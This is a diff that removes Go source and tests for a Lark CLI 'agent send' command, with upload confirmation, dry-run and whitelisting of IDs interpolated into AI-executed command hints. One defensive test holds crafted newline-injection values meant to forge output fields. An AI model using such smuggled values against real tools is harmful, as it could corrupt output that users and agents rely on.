-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendOptions holds all inputs for `agent send <ref>`.
-type sendOptions struct {
-	Factory   *cmdutil.Factory
-	Cmd       *cobra.Command
-	Ref       string
-	Text      string
-	Files     []string
-	Params    []string
-	ContextID string
-	TaskID    string
-	DryRun    bool
-	Yes       bool
-	As        string
-	Format    string
-}
-
-// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
-// agent, starting a new task or continuing an existing one. `--dry-run`
-// validates the inputs against the agent Card and prints the request preview
-// without any API call (always available). A send fires and returns the
-// current task immediately; poll progress with
-// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
-// `--file` uploads local files to the remote agent — the content leaves this
-// machine. Risk=write. runF, when non-nil, replaces the production run path
-// (test seam).
-func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
-	opts := &sendOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "send <agent_ref>",
-		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
-		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
-			"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
-			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
-			"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
-		Args: exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			if runF != nil {
-				return runF(opts)
-			}
-			return agentSendRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文（必填）")
-	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
-	cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value，可重复（据 card 的 parameters 决定）")
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
-	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
-	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// agentSendRun validates the send inputs, resolves the provider, and either
-// prints a dry-run preview or dispatches the message. The two client-side input
-// guards (empty --text; --task-id without --context-id) run first so they never
-// touch the network and hold even under a nil Factory. A send fires once
-// and returns the current task immediately (exit 0); the caller polls progress
-// via the meta.next `task get ... --watch` hint.
-func agentSendRun(opts *sendOptions) error {
-	if opts.Text == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
-			WithParam("--text").
-			WithHint(`补充 --text "<消息内容>" 后重发`)
-	}
-	if opts.TaskID != "" && opts.ContextID == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--task-id 需与 --context-id 一起使用").
-			WithParam("--task-id").
-			WithHint("--task-id 必须与 --context-id 同时提供")
-	}
-
-	f := opts.Factory
-	// Resolution + --param validation + --dry-run are fully offline, so they work
-	// (and surface validation as exit 2) before the config gate. The card is
-	// built with rt=nil: capability matrix + statically-declared parameters only,
-	// which is all the file gate and --param validation need.
-	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, nil)
-	params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
-	if err != nil {
-		return err
-	}
-
-	in := iagent.SendInput{
-		Text:      opts.Text,
-		Files:     opts.Files,
-		Params:    params,
-		ContextID: opts.ContextID,
-		TaskID:    opts.TaskID,
-	}
-
-	// --dry-run is a client-side behavior: always available, never
-	// gated by the Card's dry_run capability, and never touches the API.
-	if opts.DryRun {
-		return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
-	}
-
-	if len(in.Files) > 0 {
-		// An agent that does not declare file_input cannot take an upload, so
-		// --file against it is unsupported_capability — gated before any network
-		// access, so the user is not told "confirm the upload" for a send that
-		// would be rejected anyway.
-		if !card.Supports(iagent.CapFileInput) {
-			return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
-		}
-		// --file exfiltrates local file content off this machine (the provider
-		// reads the file and uploads it to the remote agent). That is an
-		// irreversible, CLI-enforced high-risk write: a real send that would upload
-		// requires --yes, returning confirmation_required (exit 10) before any
-		// network access. dry-run above is exempt — it never uploads.
-		if !opts.Yes {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
-				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
-				WithHint("确认要外发这些文件后，加 --yes 重发")
-		}
-	}
-
-	// A real send calls the API, so it needs a configured client; build the
-	// identity-pinned runtime now (not_configured / exit 3 here is correct).
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-
-	// Local scope preflight: after runtimeFor, before the API call. The check is
-	// all-or-nothing — any real API verb requires the provider's full scope set.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	task, err := spec.Send(opts.Cmd.Context(), rt, in)
-	if err != nil {
-		return err
-	}
-	normalizeTask(task)
-
-	// A send fires and returns the current task immediately (exit 0). Progress is
-	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
-	// hint — send no longer blocks on the task reaching a stop condition.
-	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
-}
-
-// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
-// reconstructed from the validated input, so a caller can inspect exactly what
-// a real send would post without contacting the agent. format=pretty (no --jq)
-// renders the same fields as key: value lines instead of the envelope.
-func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
-	if format == "pretty" && jqExpr(cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintln(out, "dry_run: true")
-		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
-		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
-		if len(in.Files) > 0 {
-			fmt.Fprintf(out, "files: %d\n", len(in.Files))
-		}
-		if len(in.Params) > 0 {
-			fmt.Fprintf(out, "params: %d\n", len(in.Params))
-		}
-		if in.ContextID != "" {
-			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
-		}
-		if in.TaskID != "" {
-			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
-		}
-		return nil
-	}
-
-	would := map[string]interface{}{
-		"agent_ref": ref,
-		"text":      in.Text,
-	}
-	if len(in.Files) > 0 {
-		would["files"] = in.Files
-	}
-	if len(in.Params) > 0 {
-		would["params"] = in.Params
-	}
-	if in.ContextID != "" {
-		would["context_id"] = in.ContextID
-	}
-	if in.TaskID != "" {
-		would["task_id"] = in.TaskID
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"dry_run":    true,
-			"would_send": would,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// nextIDPattern is the character whitelist for server-supplied identifiers
-// (task_id / context_id) before they are interpolated into a meta.next command
-// string: letters, digits, '_' and '-' only. It is deliberately stricter than
-// validate.ResourceName — that check is a denylist aimed at URL-path safety and
-// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
-// exactly what matters here: meta.next is defined as "AI executes this
-// verbatim", so a server-controlled id is a command-injection surface.
-var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
-
-// safeNextID reports whether s may be interpolated into a meta.next command.
-func safeNextID(s string) bool {
-	return nextIDPattern.MatchString(s)
-}
-
-// nextRefPattern is the whitelist for a user-supplied ref before it is
-// interpolated into a meta.next command or a hint command string: the
-// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
-// shape ParseRef accepts, further restricted to command-safe characters). A
-// ref is not server-controlled — the threat model is not injection but
-// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
-// be executed verbatim), so a failing ref simply drops the command hint.
-var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
-
-// safeNextRef reports whether ref may be interpolated into a meta.next / hint
-// command string.
-func safeNextRef(ref string) bool {
-	return nextRefPattern.MatchString(ref)
-}
-
-// nextForTask builds the meta.next[] hints for a send result: a terminal task
-// suggests fetching its artifacts / detail, a still-running task the poll
-// command, an input_required task the continue command, and an auth_required
-// task the re-authorize flow (auth login, not a text continuation). AI callers use
-// these to chain the next step without guessing the command shape, so every
-// value interpolated here must pass its whitelist first: the ref (safeNextRef)
-// and the task_id (safeNextID) each suppress the whole hint when they fail
-// (prefer dropping the hint over risking injection); a failing context_id
-// degrades to the <context_id> placeholder,
-// which keeps the hint while interpolating nothing untrusted. A hint whose
-// command carries <...> placeholders is marked Template so callers know it
-// needs substitution before execution.
-func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
-	if !safeNextRef(ref) {
-		return nil
-	}
-	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
-		return nil
-	}
-	if task.State.ShouldStopPolling() {
-		if task.State == iagent.StateAuthRequired {
-			// auth_required is an agent-side task state — the end user must
-			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
-			// NOT a text continuation like input_required. Point at the auth
-			// re-authorize flow instead of a text continuation. The concrete scopes are the
-			// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
-			// placeholder → Template. ref/task_id are already whitelisted above, so
-			// echoing the re-check command in the label is safe.
-			return []output.NextAction{{
-				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agent task get %s %s）", ref, task.TaskID),
-				Command:  `lark-cli auth login --scope "<required_scopes>"`,
-				Template: true,
-			}}
-		}
-		if task.State == iagent.StateInputRequired {
-			// A send that already needs input: point at the continue command
-			// against the same task/context. The --text value is
-			// always a placeholder, so this hint is a template — which is also why
-			// a missing or whitelist-failing context_id can degrade to the
-			// <context_id> placeholder instead of dropping the hint.
-			ctxID := task.ContextID
-			if ctxID == "" || !safeNextID(ctxID) {
-				ctxID = "<context_id>"
-			}
-			return []output.NextAction{{
-				Label:    "补充输入后向同一任务续发",
-				Command:  fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
-				Template: true,
-			}}
-		}
-		// Terminal: suggest reading the final detail / artifacts.
-		return []output.NextAction{{
-			Label:   "查看任务详情与产物",
-			Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
-		}}
-	}
-	return []output.NextAction{{
-		Label:   "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
-		Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
-	}}
-}
-
-// defaultWatchTimeout is the bounded poll window meta.next suggests for a
-// still-running task: a safe default that avoids an unbounded --watch blocking
-// forever on a long task and stops an AI caller from self-hammering. On expiry
-// the poll returns the current state (exit 0) plus a fresh watch hint, so the
-// caller re-watches in segments rather than blocking once. `--watch` used alone
-// (--timeout 0) stays unbounded for backward compatibility.
-const defaultWatchTimeout = 30 * time.Second

cmd/agent/send_test.go

@@ -1,451 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
-// non-empty (required for content-safety scanning) and whose --as flag is
-// explicitly set to bot so ResolveAs honors it verbatim.
-func sendCmdCtx(t *testing.T) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "send"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if err := leaf.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
-// the scripted fakeflow agent agt_x under an explicit bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test — everything under test here is command-layer behavior over the
-// scripted provider.
-func sendTestOpts(t *testing.T) *sendOptions {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	return &sendOptions{
-		Factory: f,
-		Cmd:     sendCmdCtx(t),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}
-}
-
-// TestSendRequiresText pins that an empty --text is a validation error
-// (subtype invalid_argument) raised before any provider is built.
-func TestSendRequiresText(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
-	if err == nil {
-		t.Fatal("missing --text should raise a validation error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: a missing --text must carry a copy-pasteable remediation
-	// hint, and the param uses the -- prefix.
-	if !strings.Contains(p.Hint, "--text") {
-		t.Errorf("hint should guide adding --text, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--text" {
-		t.Errorf("param should be --text, got %+v", verr)
-	}
-}
-
-// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
-// validation error, raised before any provider is built.
-func TestSendTaskIDRequiresContextID(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
-	if err == nil {
-		t.Fatal("--task-id without --context-id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: state the next step clearly (--task-id must be provided
-	// together with --context-id).
-	if !strings.Contains(p.Hint, "--context-id") {
-		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--task-id" {
-		t.Errorf("param should be --task-id, got %+v", verr)
-	}
-}
-
-// workingTask is the canonical non-terminal task the scripted Send returns for
-// the happy-path tests.
-func workingTask() *iagent.AgentTask {
-	return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
-}
-
-// TestSendPrettyFormat pins that `send --format pretty` renders the
-// resulting task as key: value lines (previously the flag was registered but
-// silently ignored).
-func TestSendPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --format pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
-// (key: value preview) instead of silently emitting JSON.
-func TestSendDryRunPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
-// runs context_id/task_id through kvValue (like every other pretty face), so a
-// value carrying a newline cannot forge an adjacent "key: value" field row.
-func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	opts.ContextID = "ctx1\nstate: completed"
-	opts.TaskID = "task1\ndeleted: true"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	// The raw newline must not survive into a forged adjacent row.
-	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
-		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	if strings.Contains(text, "task_id: task1\ndeleted: true") {
-		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	// kvValue collapses the newline to a space, keeping the value on one line.
-	if !strings.Contains(text, "context_id: ctx1 state: completed") {
-		t.Errorf("context_id should collapse to one line, got:\n%s", text)
-	}
-	if !strings.Contains(text, "task_id: task1 deleted: true") {
-		t.Errorf("task_id should collapse to one line, got:\n%s", text)
-	}
-}
-
-// TestSendNoParamsRequired pins card v2: the scripted card declares no
-// parameters, so a send without any --param passes card validation — asserted
-// via --dry-run so no provider Send fires. A malformed --param is still a
-// validation error.
-func TestSendNoParamsRequired(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = nil
-	opts.DryRun = true
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
-	}
-
-	opts2 := sendTestOpts(t)
-	opts2.Text = "分析销售"
-	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
-	opts2.DryRun = true
-	err := agentSendRun(opts2)
-	if err == nil {
-		t.Fatal("malformed --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestSendUnknownParamRejected pins, against an empty-parameters card, that
-// any --param key is unknown → invalid_argument with a hint pointing at
-// `agent card`, raised before any provider Send (asserted via --dry-run with
-// no send hook installed).
-func TestSendUnknownParamRejected(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = []string{"app_id=app_1"}
-	opts.DryRun = true
-	err := agentSendRun(opts)
-	if err == nil {
-		t.Fatal("card did not declare app_id, --param app_id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestSendDryRun pins that --dry-run prints a would_send preview and never
-// calls the provider (no send hook installed → a Send would panic).
-func TestSendDryRun(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be an object, got %T", env.Data)
-	}
-	if data["dry_run"] != true {
-		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
-	}
-	would, ok := data["would_send"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
-	}
-	if would["text"] != "分析销售" {
-		t.Errorf("would_send.text should echo the text, got %v", would["text"])
-	}
-}
-
-// TestSendStartsTask pins the happy path: a single Send fires and returns the
-// submitted / working task in a success envelope immediately (no polling), with
-// a meta.next hint pointing at task get --watch.
-func TestSendStartsTask(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	var gotText string
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		gotText = in.Text
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send should not error: %v", err)
-	}
-	if gotText != "分析销售" {
-		t.Errorf("provider should receive the original text, got %q", gotText)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["task_id"] != "chat_1" {
-		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
-	}
-	if data["state"] != string(iagent.StateWorking) {
-		t.Errorf("state should be working, got %v", data["state"])
-	}
-	// meta.next should suggest polling / continuing.
-	if !strings.Contains(string(out.Bytes()), `"next"`) {
-		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
-	}
-}
-
-// TestSendSendError surfaces a provider Send failure unchanged.
-func TestSendSendError(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "x"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentSendRun(opts); err == nil {
-		t.Fatal("Send error should propagate")
-	}
-}
-
-// TestSendInvalidRef surfaces a malformed ref as a validation error after the
-// text/task-id guards pass.
-func TestSendInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
-// presence of the send-specific flags.
-func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentSend(nil, nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
-		t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent send with a single ref should be valid: %v", err)
-	}
-	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("agent send should have --%s flag", name)
-		}
-	}
-	if cmd.Flags().Lookup("wait") != nil {
-		t.Error("agent send --wait should be removed (polling goes through task get --watch)")
-	}
-	// The --file help must point out that files are sent off to the remote
-	// provider (file-egress requirement).
-	fileFlag := cmd.Flags().Lookup("file")
-	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
-		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
-	}
-}
-
-// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
-// instead of the production path (construction-time seam).
-func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
-	called := false
-	var captured *sendOptions
-	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
-		called = true
-		captured = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
-	cmd.SetContext(context.Background())
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("execute should not error: %v", err)
-	}
-	if !called {
-		t.Fatal("runF should be called")
-	}
-	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
-		t.Errorf("opts not populated correctly: %+v", captured)
-	}
-}
-
-// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
-// carrying --file to a provider that supports file upload (the scripted card has
-// file_input=true) requires --yes, so without it the command returns
-// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
-// hook is a tripwire that would panic if the gate let the upload through.
-func TestSend_FileRequiresYes(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"} // no --yes
-
-	err := agentSendRun(opts)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
-	}
-	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
-		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
-	}
-}
-
-// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
-// send reaches the provider, which receives the file path.
-func TestSend_FileWithYesProceeds(t *testing.T) {
-	opts := sendTestOpts(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
-			t.Errorf("provider should receive the --file path, got %v", in.Files)
-		}
-		return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
-	}})
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.Yes = true
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --file --yes should proceed: %v", err)
-	}
-	if !sent {
-		t.Error("provider Send should be reached after --yes")
-	}
-}
-
-// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
-// gate (dry-run never uploads), so it needs no --yes and never reaches the
-// provider (unset send hook stays a tripwire).
-func TestSend_FileDryRunNotGated(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.DryRun = true // no --yes
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run --file should not be gated: %v", err)
-	}
-}

cmd/agent/task.go

@@ -1,521 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"fmt"
-	"io"
-	"net/http"
-	"sort"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// maxArtifactBytes caps a single downloaded artifact to guard against an
-// untrusted host streaming an unbounded body onto local disk.
-const maxArtifactBytes = 256 << 20 // 256 MiB
-
-// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
-// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
-// are wired once; each RunE reads only the fields its verb needs.
-type taskOptions struct {
-	Factory    *cmdutil.Factory
-	Cmd        *cobra.Command
-	Ref        string
-	TaskID     string
-	ContextID  string
-	ArtifactID string
-	Output     string
-	Force      bool
-	Watch      bool
-	Timeout    time.Duration
-	As         string
-	Format     string
-}
-
-// resolveDownload is the DownloadArtifact seam: it resolves the provider
-// addressed by opts under the effective identity, runs the local scope
